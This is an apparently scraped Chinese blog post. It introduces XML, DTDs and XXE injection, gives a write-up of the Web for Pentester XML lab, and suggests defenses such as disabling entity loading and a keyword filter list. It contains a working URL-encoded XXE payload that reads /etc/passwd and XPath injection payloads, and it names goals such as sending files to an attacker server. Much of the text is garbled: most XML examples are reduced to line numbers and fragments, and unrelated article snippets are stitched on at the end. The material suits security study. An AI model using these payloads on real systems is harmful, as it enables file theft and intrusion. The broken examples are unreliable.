基础

XML基础

XML(Extensible Markup Language)用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19<?xml version="1.0" encoding="UTF-8"?>

]>

Georger

John

Reminder

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明DTD

元素声明]>

引用外部DTD

或者

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体

引用外部实体

或者

XML外部实体注入(XML eXternal Entity, XXE)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

引入外部实体方式有多种,比如:

恶意引入外部XML实体的几种方式

1 本地引入1

2

3

4

5<?xml version="1.0"?>

]>

&b;

2 远程引入

注入示例

1

2

3

4

5

6<?xml version="1.0"?>

%d;

]>

&b;

恶意DTD文件(evil.dtd)的内容

1

3 另一种远程引入

注入示例

1

2

3<?xml version="1.0"?>

&b;

恶意DTD文件(evil.dtd)的内容

1

几种恶意利用

1 回显特殊文件 /etc/passwd

2 服务器将文件发送到攻击者控制的C&C服务器

3 执行系统命令

4 探测内网端口

5 攻击内网网站

后记

参考资料1中有TSRC的XXE案例

防御XXE

方案一、使用开发语言提供的禁用外部实体的方法

方案二、过滤用户提交的XML数据

方案一

使用开发语言提供的禁用外部实体的方法

1

2

3

4

5

6

7

8

9

10PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二

过滤用户提交的XML数据

1关键词:!ENTITY,或者,SYSTEM和PUBLIC。

题目解答

Example 1

加单引号报错观察错误信息,发现使用了 simplexml_load_string 函数。

构造payload (注意对payload进行URL全编码)

1

2

3]>&b;

]>&b;

http://192.168.56.101/xml/example1.php?xml=%3c%21%44%4f%43%54%59%50%45%20%61%5b%3c%21%45%4e%54%49%54%59%20%62%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%5d%3e%3c%63%3e%26%62%3b%3c%2f%63%3e%0a

Example 2

加单引号报错观察错误信息,发现使用了 SimpleXMLElement::xpath() 函数。

两组 payload

类似 SQLi 的第一组

1

2name=hacker'or'1'='1

http://192.168.56.101/xml/example2.php?name=name=hacker%27or%271%27=%271

第二组,使用获取子节点的一些语句

1

2name='or1=1]/parent::*/child::node()%00

http://192.168.56.101/xml/example2.php?name=name=%27or1=1]/parent::*/child::node()%00

参考资料

参考资料1 提及的参考资料

php %3c%3c%3cxml 报错,Web for Pentester XXE解析相关推荐

  1. **Maven web项目报错**-web.xml is missing and <failOnMissingWebXml> is set to true 原因:生成的maven web项目webap

    Maven web项目报错-web.xml is missing and is set to true 原因:生成的maven web项目webapp下缺少web.xml 解决方法:选择项目名-右击, ...

  2. 达梦数据库,dimp导入报错:该工具不能解析此文件,请使用更高版本的工具

    经常有朋友反馈达梦数据库,dimp导入报错:该工具不能解析此文件,请使用更高版本的工具 这种问题一般有两种情况: 1.用oracle等异构数据库导出的dmp文件来进行导入,这个是不支持的,建议用数据迁 ...

  3. 生成open3d项目报错:error LNK2001: 无法解析的外部符号 __imp_glViewport

    这里写自定义目录标题 生成open3d项目报错:error LNK2001: 无法解析的外部符号 __imp_glViewport 问题 解决方法 生成open3d项目报错:error LNK2001 ...

  4. php %3c%3c%3cxml 报错,代码审计| APPCMS SQL-XSS-CSRF-SHELL

    0x01 背景 由若水师傅提供的一个素材,想要复现CNVD上披露的一个APPCMS的漏洞,由CNVD上的描述可以知道存在漏洞的地方是comment.php这个文件,然后就没有详细的漏洞信息了,所以就需 ...

  5. php %3c%3c%3cxml 报错,ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)

    摘要 近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞. 影响范围 5.x < 5.1.31 <= ...

  6. kali linux重启网络服务报错,Web安全学习笔记之在Kali Linux上安装Openvas以及启动失败修复...

    现在用的kali linux是2018.1的版本,在安装openvas的时候报错,无法通过网络下载和安装openvas. 主要错误是源配置错误,可能现在用的kali很久没更新了. 一.解决和配置更新源 ...

  7. wxml报错原因_C#生成、解析xml文件以及处理报错原因

    转载自:http://blog.csdn.net/lilinoscar/article/details/21027319 简单的介绍一下生成XML文件以及解析,因为有些数据不一定放到数据库,减少链接数 ...

  8. IDEA报错Web server failed to start. Port 8080 was already in use的解决方法

    打开cmd 输入 netstat -ano | findstr "8080" 查看端口占用情况 发现PID是8816的程序在占用, 此时打开任务管理器 找到PID为上面8816的程 ...

  9. 报错,贴图整理(1)

    这里是getElementByTagName("div")=============单复数的问题,给element加上s就可以了,仅仅是一个"s"的问题,把s加 ...

最新文章

  1. BZOJ 1433 Luogu P2055 [ZJOI2009]假期的宿舍 匈牙利算法
  2. ios 监听一个控制器的属性_OC观察者模式之KVO的使用与思考
  3. 解题报告——例题 5-6团体队列(Team Queue UVa 540)——31行代码解决
  4. string.empty , , null 以及性能的比较
  5. CentOS7安装VirtualBox后系统起不来了:版本和vbox兼容很重要吧,不然VirtualBox起不来。
  6. AttributeError: 'module' object has no attribute 'main'
  7. geotools绘制椭圆API
  8. 如果您能天天读上一遍,就能和老外对话了!
  9. windows 7 动态分区转基本分区绿色工具(Conver to basic disk)
  10. 回顾过去三年工作中对区块链技术的一点心得
  11. Java程序员月薪20k的涨薪秘籍,系列教学
  12. 名词性从句——专升本语法
  13. 计算跑步时的热量消耗
  14. 人的一生,到底在追求什么呢?
  15. Winsock Fix for Windows 7
  16. FINVASIA集团宣布收购ActTrader
  17. 华科教授因学生住宿问题投诉后勤处:被学校处分,取消两年评优资格
  18. C-class Week1.Day2
  19. 学习型组织和自我优化型组织
  20. [统计学笔记](五)统计量及其抽样分布

热门文章

  1. foreach循环符合就不往下走了_游泳池循环方式及循环周期
  2. C++之explicit探究
  3. Oracle中给表添加主键 外键,给表中添加主键、外键
  4. C语言丨小 学 数 学(一):高精度加法
  5. C++安全方向(三)3.3 openssl的MD5接口调用演示
  6. python实现链表的删除_干货||链表的技巧和算法总结
  7. linux开启多少到多少端口命令,Linux端口命令
  8. python作用域排序_11道Python常见面试题,80%的人不会
  9. 深入浅出mysql gtid_Mysql 5.7 Gtid内部学习(九) 实际案例(一)
  10. HTTP MIME Types